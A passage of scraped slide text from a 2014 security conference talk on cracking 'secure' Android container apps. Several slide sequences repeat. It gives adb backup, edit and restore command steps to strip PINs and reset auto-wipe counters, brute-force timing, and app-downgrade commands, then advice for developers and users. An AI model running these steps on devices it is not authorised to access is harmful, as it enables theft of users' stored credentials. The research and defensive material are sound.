a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 117: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 118: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

